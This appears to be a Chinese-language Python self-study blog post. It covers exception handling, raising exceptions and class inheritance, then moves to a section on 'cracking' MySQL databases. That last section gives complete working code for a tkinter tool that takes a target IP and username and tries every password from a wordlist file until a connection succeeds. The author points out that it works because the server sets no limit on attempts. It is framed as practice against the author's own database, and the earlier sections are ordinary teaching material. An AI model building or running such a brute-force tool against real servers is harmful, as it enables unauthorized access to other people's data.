python自学-class16-异常,MySQL与继承

1.异常处理:

num1=eval(input("num1"))
num2=eval(input("num2"))
try:
    print(num1/num2)  #异常,可能正确,可能错误

except ZeroDivisionError:  #处理错误,使程序继续运行下去
    print("num2禁止=0")
print("hello word")

2.设置异常提示:

def makename(name):
    if name.find("SB")!=-1:
        print(name)
        raise NameError  #主动提示异常,不能用expect处理
    return name
try:
    print(makename("SB"))
except:
    print("error")

3.继承:

class 父母:
    def __init__(self):
        self.money=200000000

class 子女(父母):    #继承
    def __init__(self):
        super(子女, self).__init__()   #继承父辈成员
        pass

china父母 = 父母()
print(china父母.money)
chian子女 = 子女()
print(chian子女.money)

4.爆库:
首先需要一个记录有密码的数据文件,这里我自己设置了一个密码本.txt,其中包含了我MySQL的密码;
1)输入显示函数:

#coding=gbk
import tkinter
from tkinter import ttk
import 爆库.ShowPassOKorNO



class InputView:
    def __init__(self):
        self.win = tkinter.Tk()
        self.win.geometry("800x800+300+0")   #设置界面大小及位置
        self.label1=tkinter.Label(self.win,text="ip")
        self.label2 = tkinter.Label(self.win, text="user")
        self.label1.place(x=0,y=0)
        self.label2.place(x=0,y=50)

        self.entry1 = tkinter.Entry(self.win)  #导入文本框
        self.entry1.place(x=100,y=0)

        self.entry2 = tkinter.Entry(self.win)  #导入文本框
        self.entry2.place(x=100,y=50)

        self.button = tkinter.Button(self.win,text = "破解",command = self.search)  #导入搜索键,command表示绑定search的行为
        self.button.place(x=200,y=100)



    def call(self,event):
        print(event.keysym)
        if(event.keysym=="return"):
            self.search()

    def search(self):
        mylist = 爆库.ShowPassOKorNO.Listshowdata(self.entry1.get(),self.entry2.get())
        mylist.show()
    def show(self):
        self.win.mainloop()

inputs=InputView()
inputs.show()

2)使用密码本中的密码去一个一个地匹配,直到匹配成功,因为数据库不用验证,并且密码尝试次数不限制,因此可以使用这种穷举的方法去获得密码;

import pymysql
import codecs
class MySQLCreak:
    def __init__(self,ip,user):
        filepath=r"D:\Python代码\class16\爆库\密码本.txt"
        self.file = codecs.open(filepath,"rb","gbk","ignore")   #打开文件
        self.ip=ip
        self.user=user
    def startcrack(self,showview):   #showview是Listshowdata类型
        while True:
            line = self.file.readline()
            linelist=line.split(" # ")
            mystr = self.crack(linelist[0])
            print(mystr)    #处理切割出来的的密码
            showview.addata(mystr)
            if mystr.find("正确")!=-1:
                break
            if not line:
                break
    def crack(self,password):
        isOK = False
        try:
            db = pymysql.connect(host=self.ip, user=self.user, password=password)
            db.close()
        except pymysql.err.OperationalError:  # 特定异常
            isOK=False
        else:
            isOK=True
        if isOK:
            return "密码正确"+password
        else:
            return "密码错误"+password

    def __del__(self):
        self.file.close()

3)显示在窗口中:

import tkinter
import 爆库.MySQLTest

class Listshowdata:
    def __init__(self,ip,user):
        self.win=tkinter.Tk() #构造窗体
        self.win.geometry("800x800+300+0")   #搜索数据显示窗口
        self.mylist=tkinter.Listbox(self.win,width=200,height=400)  #列表框


        self.crack=爆库.MySQLTest.MySQLCreak(ip,user)
        self.button = tkinter.Button(self.win,text = "破解",command = self.startgo)  #导入搜索键,command表示绑定search的行为
        self.button.pack()
        self.mylist.pack()
    def startgo(self):
        self.crack.startcrack(self)  #传递自身这个对象的地址
    def addata(self,inserstr):
        self.mylist.insert(tkinter.END,inserstr)
        #列表list只能装256,建议使用文本
    def show(self):
        self.win.mainloop()

运行效果:
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_46837674/article/details/113250261